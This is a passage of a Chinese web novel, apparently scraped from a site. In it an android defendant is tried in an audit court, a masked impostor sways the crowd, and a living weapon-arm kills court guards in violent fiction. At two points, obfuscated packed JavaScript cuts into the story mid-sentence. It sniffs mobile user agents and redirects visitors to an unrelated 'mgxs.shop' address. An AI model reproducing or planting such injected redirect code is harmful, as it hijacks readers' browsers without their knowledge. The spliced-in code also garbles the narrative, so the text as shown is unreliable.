“我说了什么?我回答他,易谦明先生认为,相比于任何一只蚂蚁来说,整个蚁群的利益才是最重要的。每一只蚂蚁都有义务为蚁群做出牺牲,也正因此,蚁群才能长久地存活下来。” 咖啡馆里泛起一股不满的躁动。 虽然大家都知道事实如此,但如此明确地说出来,而且还是从一个仿生人的嘴里说出来,仍然让人们颇为不快。 “曹文道先生服务于整个复合体,他的价值取决于自己对于复合体的贡献。无论他对价值评级有怎样的不满,但这只是个人的情感,与整个体系无关。价值评级为复合体建立了一种明确的、行之有效的规则,每个人都是这套规则运行下的齿轮。这是为了整个人类着想。” “请稍等!”一个人突然喊道。“我必须澄清一下!” “易谦明先生,您说她是在说谎吗?”审计长转过头,看着代理席上戴着头套的人。他似乎是刚从什么地方赶过来,正在面罩后面急促地喘气。 他凑到自己面前的话筒边,用有些沉闷且失真的声音说道: “各位,价值评级系统虽然的确是尝试为复合体建立一种规则,但这种规则的目的,并不在于仅仅比较各位的价值,也更不是妄自对各位的人生进行肯定或否定。价值评级的目的在于加强社会资源的流动与分配,让合适的人获得合适的帮助,从而实现整个社会的进步……” 咖啡馆内爆发出一阵激烈的吵嚷。 “这是在说什么?什么乱七八糟的?” “怎么不说曹文道的事了?那家伙该不会就是凶手吧?他因为自己的评级低,所以就报复社会?” “那他最后就是自杀了?谁听懂了到底怎么回事?” “但你们没听见他们在说什么吗?他们根本就不把杀人案当回事!本来之前就已经有人猜测跟价值评级相关,但他们一直否认、一直否认——结果还是真的有关系,而且还是他们自己的人!” “给铸造局打电话!” 坐在最前面的几个青年吵闹起来。 “你们吵吵啥?都听不见后面的内容了!”外地来的男人想要压过青年们的吵闹声,但青年们并不理睬他。他只好站起来,焦急地盯着屏幕。 “到底怎么了?你急什么?”他旁边的女人问道。 “如果易老板说了什么,导致大家不接受价值评级的话,那么我们事先投资的设备的大楼可能就打水漂了。咱们家的家底都砸进去了,我能不着急吗?”外地男人抱怨道。 “哼,原来你跟他们是一伙的呀。”旁边的中年妇女听到了他们的话。 “关你什么事?”外地男人顶了一句。 “关我什么事?呵,的确不管我什么事,你们外地人的死活又关得着我什么事了?” 旁边的矮个子青年听到,回过头来说:“大妈,这不是外地人不外地人的关系,如果人贸银行出了事,倒霉最多的就是咱们!你家里的人大概也都上了评级吧?如果他们给做空加挤兑,资不抵债了,咱们都得被他易谦明抵押出去。下半辈子就都给别人打工了。” “啊?”中年妇女一听,慌了神。“那怎么办呢?” 此时已经有一些人从咖啡馆里匆匆跑了出去。 矮个子青年挠头道:“这你也别问我,出问题我担不起责任。” “估计最好是先撤销授权,先把自己的名字赎回来吧。等局面稳定之后再做打算。”戴眼镜的青年说道。 “怎么赎?拿什么赎?” “如果你有其它人的名字,等值就能兑回来;如果你没有……那现在大概需要用旧币吧?就是人贸银行之前的?” “但谁有那么多呢?现在也就是平时买菜用用——” “不好啦!老范!” 门外突然冲进来一个壮汉。那汉子一只眼没有瞳孔,嘴角还有一道伤疤,显得表情尤其狰狞。 老板匆忙从后面跑了出来,手上还拿着打蛋器。 “我听人说,人贸银行要完,你那个——” “来里面,来里面说。”老板打断了那大汉的话,把他让到后厨去了。 但咖啡馆外面已经响起了更大的吵嚷声。 黑瘦的青年跑出去看了看,又跑回来说:“好多人都在往人才贸易银行那边去了!说是要解除合同!” 咖啡馆里其余的人一时间不明所以,你看看我,我看看你,都不知道事态的发展是不是会超出自己的想象。 只有那穿风衣的青年还端着老板之前给他端上的咖啡,出神地望着电视屏幕,似乎在想着什么。 而电视屏幕上,易谦明正在说出他最关键的那段话。 “这段时间的连环杀人案,也的确反映了我们的价值评级体系还是存在一些问题。对评级系统表示不满的人的确很多,而且的确有些人的评级可能有一定程度的失准。所以我们正在准备对整个评级系统进行优化。希望可以用这种方式,消除社会中的戾气。所以,我们需要临时关闭人才贸易的评级窗口,以及暂停相关交易……请大家谅解。” 靠近窗边的风衣青年猛地站了起来,走出门去。 91.审判13 在周向青说出“凶手就是易谦明”的那一刻,柳怀石马上意识到事情要起变故。 他恨恨瞪了周向青一眼,当即转身离席。而他的仿生人则紧紧跟在后面。 他才刚走到走廊,节目导演便打来了电话,问他应该怎么处理,是不是要改变原来的计划。 当然需要改变原来的计划。如果周向青没有闹出乱子,那么他此时就已在展示如何用他的仿生人连接圣女草制成的骑士铁臂,才用得到接下来的内容;但现在他还要重新戴上头套,尽力扭转这个突然的不利局面。 他没好声气地告诉导演,启动2号方案,让他围绕曹文道稍微做一点文章,然后把焦点调整到易谦明和他的人才贸易银行上去。 他在更衣室里换上之前的那身衣服,戴上变声器,还有头套。他的仿生人还在外面等他。 “你就不必回场上了。就在这里等着。” 她点了点头。仍旧抱着那条手臂。 柳怀石看了看她,又道:“以后有空我会给你装上的。” 但他还是有点受不住她的视线。 “来,你过来。”柳怀石让她把那手臂递给自己。手臂上的接口是跟周向青做好调整的卡盘,但她的右肩还没来得及好好调整。柳怀石也只是从切口处拉出接头来,先暂时接通了再说。至于吃不上力,连接不紧密,那也暂时不必去管。 但他不太清楚周向青为什么要把这条手臂还回来。 难道那家伙真的看破了自己的动作? 他在安装的时候顺手检查了一下。没有打开的痕迹。周向青应该不知道自己在这里面都装了什么。虽然姜原找到了他的装置,但大概还一时半会不会明白那有什么用途。他看着面前的仿生人,心里又想,总不会是跟这家伙有什么关系吧?面前的仿生人看着老实,而且继承了一部分自己的记忆,但她原本的人格已经疯疯癫癫的,好在上次装的插件还压得住。想到这一点,柳怀石不由得摸了摸口袋里的植物神经抑制器。这东西对仿生人和活化机械的抑制作用已经在卡比利亚测试过了,他有信心。就算突然怎么样来,他也应付得来。他想不到什么有威胁的可能性。 而且正好测试一下他为周向青准备好的实验。 此时又有电话打了进来。是一个破锣似的声音。 董事会。他不能不接。 对方是来责备他为什么没有按计划办事的。 说的轻巧。如果一开始批准他直接撬开周向青的脑壳,哪还会有这么多事?妈的,这些家伙,又要事情看上去体面,又要真的体面,哪有那么容易的事情? 他一面谦恭地向对方解释一切都在掌握之中,一面在思考下一步的做法。 让人们把怒气指向人才贸易银行,的确符合他的利益。他现在需要一个鼓动民间对复合体不信任的契机,而这是一个极好的抓手。但他不能完全摧毁人才贸易银行本身。他要这一套还有大用处。 董事会在让他干完这套脏活后,抛弃他的可能性并不低。 而掀起人才贸易银行的风波,他们就一时半会不能撤掉自己。然后他才有机会完成沈愈的设想。 柳怀石心意已定。 他用道歉打断了电话那边的咆哮,然后提起了旁边的鸟笼。 “易谦明”回到审计庭的时候,迎接他的是一阵颇为混乱的骚动。旁听席上的人们全都站了起来,不断挥动着拳头或是手中报纸杂志或是什么别的东西,质问他到底是不是什么凶手。 就连审计长敲击法槌也没有起到任何作用。 还有一个人嘴里说着不知什么话,翻过旁听席的围栏,跳进场内,向他笔直奔了过来。但好在那人很快就被在场的事务员按住,头上吃了两棍,拖到外面。看到那个人的遭遇,吵吵的人们才多多少少恢复了理智。 “抱歉,我来晚了。”柳怀石对审计长说。 审计长从审判台上俯下身子,看了看柳怀石手上的鸟笼,然后盯着他面具上的黄色笑脸。“易行长,到底是怎么回事?遛鸟去了?” “没什么。刚才有一点银行里的事情。”柳怀石的声音通过变声器后,变得瓮声瓮气。“这不是及时回来了吗?” “董事会太偏袒你了。”审计长小声说。 “适当的特权还是有必要的。”柳怀石道。 “但你可没有拒绝回答这个问题的特权。仿生人周向青刚才说,曹文道认为你是连环杀人案的凶手,你如何回应?” “毫无疑问,这是彻头彻尾的谎言。虽然我不知道这个曹文道是何许人也,但我大概能猜到,他大概是某个对价值评级系统失望的人。因为自己评级不理想而对系统有怨言,进而变成对我个人的仇恨,这些年我已经见识了不少了。地位从高到低,都有。都不罕见。恐怕他也是没什么证据的吧?” 柳怀石对审判长侃侃而谈。 “而且,台下这个周向青,虽然我是她的监护人,但我还是应该对法庭诚实一点。她昨天不知是在找什么东西,在我银行大楼里面上窜下跳,到处乱翻,最后还打伤了跟了我快十年的管家。就是因为这样,我才通知铸造局,把她带过去教育教育。结果却不料——哎呀,该不会那个出事的人就是——” “对,那个出事的人就是曹文道。”审计长说。 “哎呀。那可能我还真的应该承担一部分责任了。如果我昨天没有给铸造局打电话——” “易先生。那并不是您的错。其实审计庭本不该在没有任何证据的情况下怀疑复合体的公民,但毕竟是兹事体大,所以不免问了一句。易先生您——” “我不是凶手,我保证。”柳怀石向旁听席举起双手。“这种程度的信誉,我应该还是有的吧? 人们似乎放下了一点心。旁听席上的嘈杂声渐渐平息了下来。 “那就好。反正这段也不会播出去。”审计长看到情况恢复正常,放下心咳嗽了几声。“您也不必担心——” “没有。我倒希望这一段可以播出去。” “什么?” 柳怀石清了清喉咙:“我觉得,这段时间的连环杀人案,的确反映了我们的价值评级体系还是存在一些问题。对评级系统表示不满的人的确很多,而且的确有些人的评级可能有一定程度的失准。所以我们正在准备对整个评级系统进行优化。希望可以用这种方式,消除社会中的戾气。所以,我们需要临时关闭人才贸易的评级窗口,以及暂停相关交易。请大家谅解。” 审计长道:“这样再好不过。但是您为什么不在新闻发布会上说呢?” “本来是这样安排的,但现在不是刚提到这个话题吗?至于曹文道先生的悲剧,我非常抱歉,但也无可奈何。”柳怀石的目光转向周向青,一只手轻轻拍了拍自己旁边的鸟笼,又说:“但我们一定会尽最大努力,让大家都能满意最后的结局。” “少来这套。我知道你跟本瞧不起他。”周向青喊道。 她说的“你”,是指柳怀石。这个可恶的家伙,居然拿胖球来当作人质。周向青没想到柳怀石居然会使出这一招。 但台上的“易谦明”耸了耸肩:“是吗?只可惜在今天之前,我听都没有听过曹文道的名字,谈何看不起他?我们的交际圈子没有丝毫的重叠——除非你住在银行那几天跟我说过。你跟我说过吗?” 周向青道:“或许你并不认识曹文道,但你刚才的话里话外都表现出,你看不起他。他反对价值评级,认为价值评级只是把人当作工具,而你就是踩着无数人爬上今天的位置,难道事实不是如此吗?” “你们仿生人的确是工具没错。复合体对你们规制是有理由的。总不成,让工具骑到人的头上来吗?” ——说得没错! 周围旁听席上的人发出一阵嗤嗤的笑声。他们似乎已经忘记了他们之前对易谦明的怀疑,现在又在为他的辩词欢呼叫好。 毕竟,易谦明本人已经站在他们面前。而且易谦明低沉而自信的声音,也包含这一股权势、地位、金钱的威严,这威严已经足以说服他们。 “至于曹先生,他的确是复合体一枚忠诚的螺丝钉。也正因此,我尊敬他为复合体做出的贡献。但我真的跟他没有任何形式的交集,更不用说往来。我相信他对我没有仇怨,而他会说我是凶手,可能只是一时的气话,或者根本子虚乌有。不过话说回来,审计长,我认为审计庭给我的被监护人施加的压力有些大了。可能导致她的思维有些混乱。毕竟仿生人跟人类不一样。” “易谦明”说到这一句时,对审计长点了点头。 审计长会意,低下头问:“周向青,如果你立即向易谦明先生道歉,那么本庭则不会计较你之前的发言。” 她怎么可能给柳怀石道歉。她又没有说谎! “易谦明是因为他不知道自己到底有没有价值才崩溃的!他已经死了!而且他的管家是一个仿生人!他是靠着一群黄蜂活化机器才建起银行!所以他才搞不清——只要你们去他的银行里一看就知道了!台上的这个人——他根本不是易谦明!”周向青用力申辩。只是她不太清楚要怎么把这个复杂的情况一下子跟眼前的这些人说明白。明明只是大家到银行大楼里一看就能明白的事情。 柳怀石笑了。他声音中的嘲弄感,跟面具上的假笑相映成趣。 “你这傀儡真是奇怪。我好好站在这里,你却说我已经死了?而我怎么会认为我自己没有价值呢?至于应该评什么级别,这个我觉得交给公式来计算是最公平的。而我的管家是仿生人……哈哈,这更是妄谈。不过话说回来,如果你想担任我的管家,那倒也不是不可以。” “您没必要跟她说这些。”审计长道。“她大概是被统修会洗脑了。我认为她已经表露出来一点崩溃的症状。” “说还是要说的。”柳怀石摇头道。“我知道的确有不少人对人才贸易银行抱有所疑虑。但实际上,人才贸易银行为我们这个社会做出了很多贡献。它清楚地划分出我们之间的差异性。我明白一些人很难接受自己被评为低价值这个事实。毕竟上个时代,他们这些低价值的工作是被仿生人取代的——也难免曹文道会以为我的管家是个仿生人——这更让他们产生焦虑。他们的心灵是脆弱的。复合体禁止仿生人的法令保护了他们,但价值评级重新带来了这种忧虑。” “不过没有关系。价值评级虽然一方面指出了我们之中一部分人的缺陷,但同时也让另一部分人的价值得以彰显。我不会贬低他们,我反而要感谢这些人,如果不是他们主动参与评级,我们就没办法提高整个社会的生产效率,也无法清晰地划分消费等级。在评级系统优化之后,我会为他们单独列出一个评级,用来感谢他们的贡献。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346506|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >柳怀石洋洋洒洒在台上发表着长篇大论,而旁听席上的人们在欢快地鼓掌,感谢他创立的如此绝妙的制度。 这掌声让周向青感到格外的刺耳。但柳怀石的话让她感到更加刺耳。他的话听起来就是在说,像曹文道这样没有用的人,消失了反而更好。 那易谦明呢?真正的易谦明不也在怀疑他自己到底有没有价值吗?而如今,一个冠着“易谦明”名号的人,却也在说没有价值的人应该离开这种跟易谦明一模一样的话,真的是自相矛盾。 他们才可笑。 明明他们都在自相矛盾,她却对这些自相矛盾的人毫无办法。 在她气满填胸却无可奈何的时候,耳边传来了一阵嗡嗡的响声。有十几只黄蜂绕过众人的视线,躲在她的头发下面,把尾针轻轻插进她耳后的皮肤。 尾针刺入她皮肤的时候,她不由得哆嗦了一下。周向青的眼前渐渐模糊起来。 她下意识举起自己的手。 那只手的形状越来越模糊,而且不由自主地颤抖着。 她随即明白了是怎么回事。情绪的温度正在她身体内流淌。她那天第一次被黄蜂刺中的时候,注入她体内的只是信息的乱流。但这一次黄蜂们给她的,是明确挑选过、整理过的一长段真实的回忆。 她的身体剧烈颤抖起来。 ### 抖。 控制不住的颤抖。 握着钥匙的手,抖得停不下来。 他的左手一巴掌拍上右手,强按着它,把钥匙插进门上的锁孔。 钥匙转动。锁簧压缩、弹子跳起的清脆咔哒声,在他沉闷的心跳和粗重的呼吸声中尤其明显。 他握着门把手,但迟迟不肯推开。 “怎么?你后悔了?”在他背后,事务员低声问道。 他们照例穿着平时执行任务时的装束。插满防弹护板的长背心、护肩护肘、头盔、防激光自调节夜视镜。除常规主副武器之外,还有一柄专门用来破门的大锤。显然,如果他说出了错误的答案,这些东西就会立即用在他,还有面前薄薄的房门之上。 他亲自带领过四十四次这样的突击,亲眼见过六十三遍。 “没有。”他说。 事务员点了点头,继续等待。 他深深吸了一口气,缓缓吐出,终于推开了房门。房间内又没有开灯。他虽然说过很多次,但她就是不习惯。他批评说,在暗处看东西会影响视力——虽然仿生人的视力才不会因为这种事受影响。她也从来不听。 按往常的习惯,在开门之后,他会喊她的名字。阿巧。因为他们的相遇只是一个巧合,如果不是他带头执行那次任务,如果不是他照例抽那一支烟,事情可能就不会变成现在的地步。 如果让时间回到那天,他还会再来一次吗? 他向前走了一步、两步,然后才张了张嘴,但没发出声音。他也忘了开灯。他索性继续向前走。他伸出手,撩起起居室的水滴坠子挂帘。那哗啦啦的声音一响,趴在地板上的阿巧马上翻了个身,挥舞着手里的东西,跳起来冲向他。 “你看!你看!你看我今天画了——” 在扑进他怀里的时候,她看到了从大门那边斜斜洒来的光和影。 血色的残阳里,站着几个全副武装的高大男人。 她尖叫一声,丢下那一张纸,向卧室里躲去。 “跑了!”事务员们吼道,脚步嗵嗵,掠过他,追向屋内。 “停下!”他突然大声喊道。 事务员们停下了。但不是因为他们想停下,只是出于以前的习惯。 “我去跟她说。你们在这里等。”他说。 事务员们默默让出一条路。他从他们之中穿过,走进卧室。她又像他们相遇那天一样,像每次他们吵架了以后一样,去躲在一个封闭、黑暗、拥挤的角落里,把自己藏起来。 阿巧,出来吧。他们是我叫来的。他们会送你去一个……我找了一个比这里好的地方。我收拾一下,然后就陪你一起去。你先到外面的车里等我。我收拾一下东西就来。 她从藏身的衣柜里爬了出来。因为她相信他。虽然听不懂他在说什么,但她相信他。她相信他的话,上了他们的车。 “曹哥,别难过。局里再见。”事务员们跟他说。 他木然点了点头。 然后车开走了。带着她尖叫的声音,开走了。只剩下如血的地面上,那一张被残阳染得红红的画。 画上是他自己。他的嘴巴翘起,古怪地笑着。 ### 画面开始渐渐褪色,最终与柳怀石那黄色的笑脸气球面具叠在一起。 那古怪的笑脸仍然在喋喋不休地说着什么,说得那高台当中身披黑袍的枯瘦的老人伸出长长的脖子。老人那张布满皱褶和斑点的脸上凸着一对圆圆的眼睛。空洞幽深的瞳孔中射出两道逼人的视线,越过弯曲如长喙的鼻子,居高临下牢牢罩在她的身上。 “周……曹文道……责任?” 他凄厉的语声在空旷的法庭中交叠在一起,听不清楚。周围的暗红色海浪也卷起一阵阵喧闹的潮声。 老人右侧的黑袍扬起,就像一只巨大的秃鹫伸开翅膀。 砰。 什么东西敲响了。 那是船撞到陆地的声音。 92.审判14 砰! 法槌敲在审判台上。 “本庭认为,周向青需要为曹文道的死亡承担部分责任。而柳怀石观察员既然已经退席,放弃他的观点,那么也就没有反对周向青为统修会所操纵的人。审计庭接下来将核认最后一个事实,就是——” 审计长的话突然停住了。他耳朵里听到一阵咔哒咔哒像是大风天里没关好窗户的声音。他顺着声音一看,却见之前柳怀石带来的,装有骑士铁臂的玻璃筒,正在证人席上微微摇晃。审计长有些疑惑,此时并没有风,也并不是地震。 柳怀石也听到了这个声音,不由得“啊”了一声。他在心里暗骂自己的仿生人太粗心,竟然能把这么重要的东西忘记。但他突然意识到,那玻璃筒再怎么没放稳,也不应该剧烈地晃个不停。他探出脑袋定睛一看,只见那条手臂的仿生肌肉纤维正如海葵的触手一般,在玻璃筒中左摇右晃,搅得里面的液体不断翻腾,连带着筒身也摇晃起来。这又是怎么回事?柳怀石急忙伸手进口袋,捏着植物神经抑制器,拇指顶在安全保险上。那玻璃筒勉强就在抑制器的作用范围内,说不定他还得再靠近一些。 他本来打算今天要在董事会的面前演示一下仿生人跟圣女草的连接,却不料周向青却不知犯了什么毛病,非要与他作对。这一来,要说服董事会可能就需要靠自己的仿生人了,只是他还是需要一个能够让自己的仿生人插手的机会,而且,还能趁机测试一下像周向青这样的仿生人在面对程序悖论时的反应。 她会不会像阿福一样直接崩溃掉呢? 柳怀石在心里转着念头,双眼盯着玻璃筒,唯独没有留意周向青的动作。 然而周向青已然从被告席上跃起,向着数米高的审判台扑了过去。她冲着审计长挥动左拳,但她的拳峰只是徒劳地从审计长的面前掠过,吓得那个老人仰面朝天从椅子上翻倒过去。这是因为在同一时间,负责看守被告席的几名事务员分别拔出腰间的武器,几道极细的丝线从细细的喷口中射出,缠上她的手脚,硬生生把她从空中拉了下来,按在地上。 这就像周向青当时在卡比利亚的塔楼上遇到的情况一样,子弹无法击穿的皮肤,那细细的线反而可以轻松切开。她手腕和脚踝传来一阵剧痛,她的力量在着痛感面前毫无用处。她试图启动手腕中的刀刃,但这里和监狱一样,无限信号场同样屏蔽了她的武器系统,她没办法快速切断这些细线。 事务员们站在三个角,慢慢把细线绞紧。另两个事务员拿着防暴叉,准备把她赶回被告席。 柳怀石在周向青的身子冲过他的眼前时才反应过来。他的手指抢在他的意识前面行动,只是顺序错了,先扣了扳机才推开保险,导致抑制器并未起到效果。好在半秒钟后事务员们已经将周向青制住,柳怀石便也没再扣扳机。他看到审计长并无大碍,松了一口气,才对周向青道:“你这又是何必呢。” 他本来以为周向青最有可能攻击的人是他,或者试图抢回八哥,但从未想到周向青会去攻击审计长。这点实在是出乎他的意料。 “你们这些想审判别人的法官,都该去死!”周向青圆睁双眼。 柳怀石不太理解,为什么周向青对审计长产生了如此强烈的攻击性。她这一下造不成什么伤害,但董事会看完今天这一幕,大概也会因此认为“圣女”不是什么大不了的东西,说服他们尽快放开研究和使用仿生人的许可就更不容易了。某种程度上说,他倒希望周向青能大闹一番。这样上面也会更重视一些。 但在周向青挣扎的时候,柳怀石突然看到一些黄色的、小小的东西从她身边嗡嗡飞过。他的视线才刚追过去,那些小东西却已经藏在缝隙中不见了。他心里一瞬间有了一个不祥的念头,当即站起身来,正要对那几个事务员下令,却想到自己还戴着易谦明的头套,便只好对刚从地上爬起来的审计长说:“庭上,这情况不太对劲。” 审计长捂着自己的老腰叫道:“当然不对劲!让这仿生人直接上庭——却又不加电网!” “这里没有相关的高压设备。”在后面搀扶他的助理插话道。 “那为什么不装?这可恶的机器人,我的腰喂,奶奶的……” “庭上,我想请您下令,让事务员检查一下——” ——砰! 玻璃碎裂的声音响起。 众人一齐扭头看去,却见是刚才那摇晃不休的玻璃筒,从证人席的桌上掉了下去,在地面上摔得粉碎。 柳怀石只想继续刚才的谈话,正待开口,但下面又传来几声惨叫。两个事务员已经踉跄几步倒了下去,而第三个事务员正在胡乱抓挠着自己的胸膛。所有人都不知道到底怎么了,只是茫然望着那事务员跳着诡异的舞蹈。事务员的喉咙里咯咯作响,嘴角也流出血沫,似乎有什么东西正堵在他的胸膛里。另一个事务员丢下防暴叉,急忙赶过去,按急救法抱住他的腰,想帮助对方把那东西吐出来。但他才用力一勒,两人便同声发出痛苦的叫喊。 一蓬黑色的不明生物连带着一股血花,从那事务员的后背喷出。两个事务员一齐倒了下去。最后一个事务员见势不妙,扭头便逃,但那沾血的黑色怪物像蛇一样游动,又像尺蠼一样跳跃,迅速地攀上那最后一个事务员的脊背。那个事务员恐惧地尖叫一声,一面脚下不停,一面在身上胡乱拍打,但很快被那些古怪的东西缠绕、绊倒、撕裂。 周围旁听席上的人们也愣住了。他们想要逃跑,却迈不动步子,最终只是像是羊群一样,拥挤成黑压压的骚动的一团。他们等待着哪一个先能动起来,哪一个来给他们一个明确的信号。所幸那些黑色的蛇形怪物对这些肥羊不感兴趣,而是全部汇聚到周向青的身边,游上她的身体,在她的右肩蠕动成型,最终恢复了玻璃筒中手臂的模样。 柳怀石一言不发地站着,俯视那流淌着鲜血的被告席。 眼前事务员惨死的场面,没有在他心里激起一丝波澜,他甚至感到有些雀跃。她果然要大闹一场了。不知为什么,他自卡比利亚那夜以来,似乎竟一直期待着这个场面。周向青对圣女草的控制让他感到羡慕,在刚才那短短一瞬间,他想到了许多种运用和拓展的方式。他的努力就是为了让这一刻能够成为一种日常。 虽然那暂时不是他今天的目标。柳怀石的手伸上旁边的鸟笼,随时准备把里面的八哥抓出来。 周向青抬起眼睛,看了一眼审判台上的柳怀石;然后举起右手,五指握拳、展开,翻转手腕,手臂平伸又缩回,咂味这新手臂带来的余味。 她说:“你那天不是还想实验看看吗?这就是实验的效果。” 柳怀石摇头道:“你失去控制了。” “不!我没有。”周向青猛地昂起头,但她的视线很快扫过柳怀石,途经一旁的审计长,在最高处那人影晃动的玻璃窗口略加停留,然后又回到地面那些事务员的身上。 “我没有失控。”她重复了一遍。 “你接连杀了这么好几个人,还说自己没有失控?”柳怀石冷笑道。 “我没有失控。”周向青说。 “有人因为你的行为而丢了命,安保型仿生人。你失控了。”柳怀石特意强调了“安保”两个字。“自动化大崩溃对你大脑的影响看来并没有通过改装而挽回,统修会可能也篡改了你的规则模块。庭上,请你维持审计庭的秩序。” 审计长还因为刚才的惨剧一时没缓过神来。他举起法槌,却又敲不下去。此时砰的一声,新的一批事务员撞开大门,冲进了审计庭。审计长借着援兵进门的气势,高喊了一声:“逮捕她!”但他撑着桌面的手还是抖个不停。 新来的事务员们冲了上去。他们虽然看到了先来者的命运,但还是服从上级下达的命令,冲了上去。周向青矮身躲开他们发射的丝线,绕过防暴叉和电棍的拦阻追击,窜到他们中间,右手一举,黑色的死亡就如喷泉一般洒到他们身上。事务员们从没有受过对抗这种敌人的训练,他们只有徒劳地挥舞武器,然后挣扎着,被那些漆黑的纤维分别绞杀。 “柳怀石!”周向青喊道。“你下来!” 柳怀石充耳不闻。他冷冷地看着那些事务员一个接一个地死去。 “柳怀石!”周向青再次喊道。 柳怀石仍然无动于衷。 周向青下蹲,起跳。她的身子就像炮弹一样撞向看台。 柳怀石面前的桌子被她撞了个粉碎。而她的右手穿过四散飞溅的碎屑,笔直抓向柳怀石旁边的鸟笼。她想先把胖球放出来再说。 旁听席上的人已经没有胆量再看这一幕。在她把右臂散成一幕黑雨的时候,人们就已经惊叫一声,纷纷夺路而逃。审判席上的审计长也赶忙躲在自己的桌台下面,算是躲过了不少碎片。 但周向青这一抓,并没有命中。她的指尖似乎是距离不够,也似乎是柳怀石在她出手的瞬间向后撤了一步,就是这毫厘之差,让鸟笼在柳怀石的手里好端端的来回晃动。胖球被吓坏了,扑腾了起来。 “你这又是何必。”柳怀石好整以暇的声音透过变声器传了出来。“你以为就凭着两只拳头,就真的能跟复合体对抗不成?” 周向青并不答话,她的脚尖踏在被她撞破的一块桌面上,一勾一挑,把那块木头踢向柳怀石的头部,准备在柳怀石闪避的时候阻击。 但仍然不知是那块木头没有命中,还是柳怀石在那瞬间移动了脑袋,柳怀石似乎是动了,但又似乎是没动,她的运动感受器并没有发觉柳怀石的动向。她只好冲着眼前的柳怀石扑去,但始终无法碰到哪怕是鸟笼的一个边角。 她一怒之下,拔起旁边的栏杆,对着柳怀石的头部横扫。 砰的一声,她总算是实实在在打中了什么东西。 但那是另一只仿生人的手。 柳怀石的仿生人正挡在“易谦明”的身前,用左手挡住了周向青挥出的木质栏杆。周向青想要抽回,但仿生人翻腕变抓,手指一勒一拧,漆皮和碎屑纷纷掉落,木质部的纤维丝丝剥开,整段木头最终变成两节。 那仿生人丢下手里的半截栏杆,用平稳得没有半分情绪的声音说:“请不要再打了。” “那可不行。” 周向青虽然感激她愿意给自己提供曹文道的记忆,但事情并不能就此结束。她的眼睛仍然盯着 “易谦明”。她不会再跟对方妥协,更不会认对方有审判自己的权利。 她要揭开柳怀石的面具。 她要让大家看到这个审判本身就是一个笑话。 柳怀石却像是猜透了她的想法一样,说:“没有用的。不论你现在搞出多大的乱子,外面都不可能知道。你的结局只有两个:要么配合我们,我替你申请一个特别处理;要么让事情继续恶化下去,审计庭只能宣布有必要把你当庭销毁。你自己选吧。庭上?你说呢?” 审计长从桌后探出头来:“仿生人周向青,你还是配合审计庭比较好。” “我扯掉你的面具再配合!” 周向青向侧面一跃,在栏杆上借一脚力,好绕过仿生人,直扑向柳怀石。但那仿生人却捉住周向青的手腕,一勾一带,让她偏离了前进的方向,同时仿生人的身子也再度挡在柳怀石前面。 “你让开。”周向青道。 “请不要再打了。这样不会有好结果的。你最好还是接受他们的条件吧。”那仿生人诚恳地说。 但那诚恳的样子,只让周向青想到曹文道,还有阿福之前的样子。 抱歉。周向青在心里这么说。 她对着柳怀石的仿生人挥出右拳。仿生人出左手去接。但在她的那一拳击中仿生人左掌掌心的瞬间,她的右手就像水柱冲上墙壁一样四散飞溅。黑色的水花是有杀伤力的,这一点早有证明;而于此同时,周向青的左手按向仿生人的腰间,把她推向另一边。仿生人一惊之下,随后已经明白周向青的意图,右手攀住周向青的左手,准备把她挂开,但这仓促间装上的手臂力量不足,仿生人只得借着这股推力旋身出腿,再加一脚蹬在周向青的侧腹。 两个人一同撞破栏杆,从上面落下。 周向青少了一条胳膊,在空中翻身不便,只得硬生生摔在地面。而且事情跟她想的并不一样。她并没有听到惨叫声。这意味着那一拳射出的圣女草似乎没有覆盖到柳怀石。 从她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17350944|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 落地的位置却看不到上面。她翻了个身调整体态,重新向上跃去。但她才刚刚离开地面,就已经被那个仿生人的双手握住脚踝,两人一同重新滚倒。 周向青怒道:“你非得护着他吗?” 仿生人并未答话,反而借着周向青起身的机会转到她的背后,绞住了她的双腿和左手。仿生人的体型要比周向青大一截,力量也更强,一时竟压得她动弹不得,她只能等着圣女草重新向她的右肩聚拢。 柳怀石就在这时候,慢悠悠地从上面探出头说:“她的确非得护着我。如果安保仿生人护不住主人,那还有什么用呢?” 周向青的右手已经重新成型。她自觉用起这只手要比那些统修会骑士自由得多。因为铁臂对于骑士们来说只是一条金属仿生肌肉拧成的手臂,但对于周向青来说——虽然她并不明白自己到底是怎么控制它们的——是可以分散又可以聚合的一件武器。只是聚合的速度稍微慢了些。她的右手以不正常的角度反扭回背部,反抓那个仿生人的颈根。 对方显然并没有料到会出现这样的情况,绞紧周向青的手脚一下子松了。周向青趁机仰头一撞,自己撤出身体,拉开距离。 “混蛋!”周向青骂道。 柳怀石哈哈大笑。 因为他还有一点余裕。 柳怀石在借给周向青的那条手臂中预先埋下了失控的种子。虽然他并没想到周向青会把手臂还回来,但只要距离够近,仍然可以触发失控装置。只需要让他的仿生人再次像刚才那样缠住周向青,他就可以启动开关,让周向青崩溃掉,然后让他加装了屏蔽插件的仿生人执行护卫任务,彻底压制周向青,取得胜利。 这是他的备用计划,一样可以说服董事会逐步放开自动化管控。 但他是真的不舍得那么做。他越是看周向青,就越觉得她难能可贵。周向青并不像自己手头这个仿生人,只像一个无聊粗俗的女人——所以他已经把它改造了;而是颇有一种不懂得文明本质的天真与不驯,或者说,一种野性。 